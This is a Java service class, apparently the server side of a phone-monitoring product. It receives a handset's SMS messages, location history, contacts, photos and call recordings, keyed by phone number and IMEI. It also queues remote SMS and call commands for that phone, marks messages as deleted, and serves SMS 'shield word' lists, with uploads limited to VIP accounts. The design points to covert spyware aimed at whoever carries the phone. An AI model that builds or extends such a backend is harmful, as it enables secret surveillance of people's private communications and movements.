package com.monitor.service.impl;

import java.util.Date;
import java.util.List;

import com.google.gson.Gson;
import com.monitor.api.entity.Result;
import com.monitor.dao.AlbumDao;
import com.monitor.dao.CallLogDao;
import com.monitor.dao.ContactDao;
import com.monitor.dao.LocationDao;
import com.monitor.dao.MessageDao;
import com.monitor.dao.RemoteCallDao;
import com.monitor.dao.RemoteSmsDao;
import com.monitor.dao.SettingDao;
import com.monitor.dao.SmsMotionDao;
import com.monitor.dao.SmsShieldWordDao;
import com.monitor.dao.StatisticsDao;
import com.monitor.dao.UserDao;
import com.monitor.po.Album;
import com.monitor.po.CallLog;
import com.monitor.po.Contact;
import com.monitor.po.Location;
import com.monitor.po.Message;
import com.monitor.po.RemoteCall;
import com.monitor.po.RemoteSms;
import com.monitor.po.SmsMotion;
import com.monitor.po.SmsShieldWord;
import com.monitor.po.Statistics;
import com.monitor.po.User;
import com.monitor.service.ApiService;
import com.monitor.service.SettingService;
import com.monitor.util.CommenUtil;

public class ApiServiceImpl implements ApiService {
	private UserDao userDao;
	private MessageDao messageDao;
	private LocationDao locationDao;
	private ContactDao contactDao;
	private AlbumDao albumDao;
	private CallLogDao callLogDao;
	private RemoteSmsDao remoteSmsDao;
	private SettingDao settingDao;
	private RemoteCallDao remoteCallDao;
	private SmsMotionDao smsMotionDao;
	private StatisticsDao statisticsDao;
	private SmsShieldWordDao smsShieldWordDao;

	@Override
	public Result sychonizeUserInfo(String phone, String imei, String model) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 如果没有用户，则添加
			if (user == null) {
				user = new User();
				user.setPhone(phone);
				user.setImei(imei);
				user.setModel(model);
				user.setLastSycTime(System.currentTimeMillis());
				userDao.addUser(user);
			}// 如果是已经存在的用户，则更新它的最近与服务器联网时间
			else {
				user.setLastSycTime(System.currentTimeMillis());
				userDao.updateUser(user);
			}
			boolean uploadCalllog = SettingService.UPLOAD_TRUE_VAL.equals(settingDao.getValue(SettingService.KEY_UPLOAD_CALLLOG, SettingService.UPLOAD_TRUE_VAL));
			boolean uploadSms = SettingService.UPLOAD_TRUE_VAL.equals(settingDao.getValue(SettingService.KEY_UPLOAD_SMS, SettingService.UPLOAD_TRUE_VAL));
			boolean uploadLocation = SettingService.UPLOAD_TRUE_VAL.equals(settingDao.getValue(SettingService.KEY_UPLOAD_LOCATION, SettingService.UPLOAD_TRUE_VAL));
			user.setUploadCalllog(uploadCalllog);
			user.setUploadLocation(uploadLocation);
			user.setUploadSms(uploadSms);
			result.setSuccess(true);
			result.setUser(user);
		}
		return result;
	}

	@Override
	public Result uploadSms(String phone, String smsStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(smsStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVisible()) {
				try {
					List<Message> messages = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Message>>() {
					}.getType();
					messages = gson.fromJson(smsStr, type);
					if (messages != null && !messages.isEmpty()) {
						for (Message msg : messages) {
							try {
								messageDao.addMessage(msg);
							} catch (Exception e1) {
								e1.printStackTrace();
							} catch (Error e) {
								e.printStackTrace();
							}
						}
					}
					result.setSuccess(true);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public Result uploadLocation(String phone, String locationStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(locationStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVisible()) {
				try {
					List<Location> locations = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Location>>() {
					}.getType();
					locations = gson.fromJson(locationStr, type);
					if (locations != null && !locations.isEmpty()) {
						for (Location location : locations) {
							location.setOwnerUid(user.getId());
							try {
								locationDao.addLocation(location);
							} catch (Exception e) {
								e.printStackTrace();
							}
						}
					}
					result.setSuccess(true);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public Result uploadContact(String phone, String contactsStr) throws Exception {
		Result result = new Result();
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(contactsStr)) {
			result.setSuccess(false);
		} else {
			User user = userDao.getUserByPhone(phone);
			// 先判断用户状态，如果不是VIP，直接返回失败
			if (user != null && user.isVisible()) {
				try {
					List<Contact> contacts = null;
					Gson gson = new Gson();
					java.lang.reflect.Type type = new com.google.gson.reflect.TypeToken<List<Contact>>() {
					}.getType();
					contacts = gson.fromJson(contactsStr, type);
					boolean success = false;
					if (contacts != null && !contacts.isEmpty()) {
						success = contactDao.addContact(user.getId(), contacts);
					}
					result.setSuccess(success);
					result.setUser(user);
				} catch (Exception e) {
					e.printStackTrace();
					result.setSuccess(false);
				}
			} else {
				result.setSuccess(false);
			}
		}
		return result;
	}

	@Override
	public User getUserByPhone(String phone) throws Exception {
		return userDao.getUserByPhone(phone);
	}

	@Override
	public void uploadAlbum(long uid, String path, long addTime) throws Exception {
		Album album = new Album();
		album.setAddTime(new Date(addTime));
		album.setOwnerUid(uid);
		album.setPath(path);
		albumDao.saveAlbum(album);
	}

	@Override
	public void uploadCallLog(long uid, String targetPhone, long addTime, String path, boolean outgoing) throws Exception {
		CallLog log = new CallLog();
		log.setAddTime(new Date(addTime));
		log.setOwnerUid(uid);
		log.setPath(path);
		log.setTargetPhone(targetPhone);
		log.setOutgoing(outgoing);
		callLogDao.saveCallLog(log);
	}

	@Override
	public List<RemoteSms> getRemoteSmss(long uid, int pageSize) throws Exception {
		return remoteSmsDao.getRemoteSmsByUid(uid, pageSize);
	}

	@Override
	public boolean updateRemoteSmsExceuteStatus(long uid, String idStr) throws Exception {
		String[] ids = idStr.split(",");
		long[] lids = new long[ids.length];
		for (int i = 0; i < ids.length; i++) {
			String str = ids[i];
			long id = Long.valueOf(str);
			lids[i] = id;
		}
		int result = 0;
		if (lids != null && lids.length > 0) {
			// return remoteSmsDao.updateRemoteSmsExcutedStatus(lids, true) > 0;
			result = remoteSmsDao.deleteRemoteSms(lids);
			if (uid > 0) {
				Statistics statistics = statisticsDao.getStatisticsByUid(uid);
				if (statistics == null) {
					Statistics newStatistics = new Statistics();
					newStatistics.setOwnerUid(uid);
					newStatistics.setSentSmsCount(result);
					statisticsDao.addStatistics(newStatistics);
				} else {
					statistics.setSentSmsCount(statistics.getSentSmsCount() + result);
					statisticsDao.updateStatistics(statistics);
				}
			}
		}
		return result > 0;
	}

	@Override
	public List<RemoteCall> getRemoteCalls(long uid) throws Exception {
		return remoteCallDao.getAllUnexecutedRemoteCall(uid);
	}

	@Override
	public boolean updateRemoteCallExceuteStatus(String idStr) throws Exception {
		String[] ids = idStr.split(",");
		Long[] lids = new Long[ids.length];
		for (int i = 0; i < ids.length; i++) {
			String str = ids[i];
			long id = Long.valueOf(str);
			lids[i] = id;
		}
		if (lids != null && lids.length > 0) {
			return remoteCallDao.updateRemoteCallExecutedStatus(lids, true) > 0;
		}
		return false;
	}

	@Override
	public List<SmsMotion> getSmsMotion(long uid) throws Exception {
		return smsMotionDao.getSmsMotions(uid);
	}

	@Override
	public boolean updateSmsMotionStatus(String idStr) throws Exception {
		String[] ids = idStr.split(",");
		long[] lids = new long[ids.length];
		for (int i = 0; i < ids.length; i++) {
			String str = ids[i];
			long id = Long.valueOf(str);
			lids[i] = id;
		}
		List<SmsMotion> motions = smsMotionDao.getMotionsByIds(lids);
		if (motions != null && !motions.isEmpty()) {
			for (SmsMotion motion : motions) {
				messageDao.updateMessageDeleteStatus(motion.getMsgId(), Message.STATE_DELETED);
				smsMotionDao.delelteMotion(motion.getId());
			}
		}
		return true;
	}

	@Override
	public List<SmsShieldWord> getSmsShieldWords() throws Exception {
		return smsShieldWordDao.getAllSmsShiedWords();
	}

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public void setLocationDao(LocationDao locationDao) {
		this.locationDao = locationDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public void setAlbumDao(AlbumDao albumDao) {
		this.albumDao = albumDao;
	}

	public void setCallLogDao(CallLogDao callLogDao) {
		this.callLogDao = callLogDao;
	}

	public void setRemoteSmsDao(RemoteSmsDao remoteSmsDao) {
		this.remoteSmsDao = remoteSmsDao;
	}

	public void setSettingDao(SettingDao settingDao) {
		this.settingDao = settingDao;
	}

	public void setRemoteCallDao(RemoteCallDao remoteCallDao) {
		this.remoteCallDao = remoteCallDao;
	}

	public void setSmsMotionDao(SmsMotionDao smsMotionDao) {
		this.smsMotionDao = smsMotionDao;
	}

	public void setStatisticsDao(StatisticsDao statisticsDao) {
		this.statisticsDao = statisticsDao;
	}

	public void setSmsShieldWordDao(SmsShieldWordDao smsShieldWordDao) {
		this.smsShieldWordDao = smsShieldWordDao;
	}
}
